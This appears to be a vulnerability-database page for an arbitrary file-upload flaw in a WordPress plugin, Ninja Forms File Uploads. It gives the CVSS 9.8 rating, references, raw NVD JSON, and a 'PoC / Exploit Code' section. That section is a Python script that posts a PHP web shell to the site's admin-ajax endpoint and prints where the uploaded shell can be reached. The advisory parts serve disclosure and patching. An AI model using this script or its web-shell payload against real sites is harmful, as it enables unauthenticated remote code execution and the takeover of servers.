CVE-2026-0740

Description

The Ninja Forms - File Uploads plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'NF_FU_AJAX_Controllers_Uploads::handle_upload' function in all versions up to, and including, 3.3.26. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. Note: The vulnerability was partially patched in version 3.3.25 and fully patched in version 3.3.27.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Ninja Forms - File Uploads <= 3.3.26

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"
shell_filename = "shell.php"

# The malicious payload to upload
payload = """<?php system($_GET['cmd']); ?>"""

# Data for the request, exploiting the vulnerable action
# Note: The specific action name might vary based on plugin internals
files = {
    'file': (shell_filename, payload, 'application/octet-stream')
}
data = {
    'action': 'nf_fu_ajax_upload'  # Hypothetical action based on function name
}

try:
    response = requests.post(target_url, files=files, data=data)
    if response.status_code == 200:
        print(f"[+] Payload uploaded successfully!")
        print(f"[+] Check your shell at: http://example.com/wp-content/uploads/{shell_filename}")
    else:
        print(f"[-] Upload failed. Status code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0740
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0740
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0740/
[4] VulDB https://vuldb.com/cve/CVE-2026-0740
[5] https://ninjaforms.com/extensions/file-uploads/
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/0b606ded-ab50-486a-9337-97ee9f452f12?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0740", "sourceIdentifier": "[email protected]", "published": "2026-04-07T05:16:06.897", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ninja Forms - File Uploads plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'NF_FU_AJAX_Controllers_Uploads::handle_upload' function in all versions up to, and including, 3.3.26. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. Note: The vulnerability was partially patched in version 3.3.25 and fully patched in version 3.3.27."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://ninjaforms.com/extensions/file-uploads/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0b606ded-ab50-486a-9337-97ee9f452f12?source=cve", "source": "[email protected]"}]}}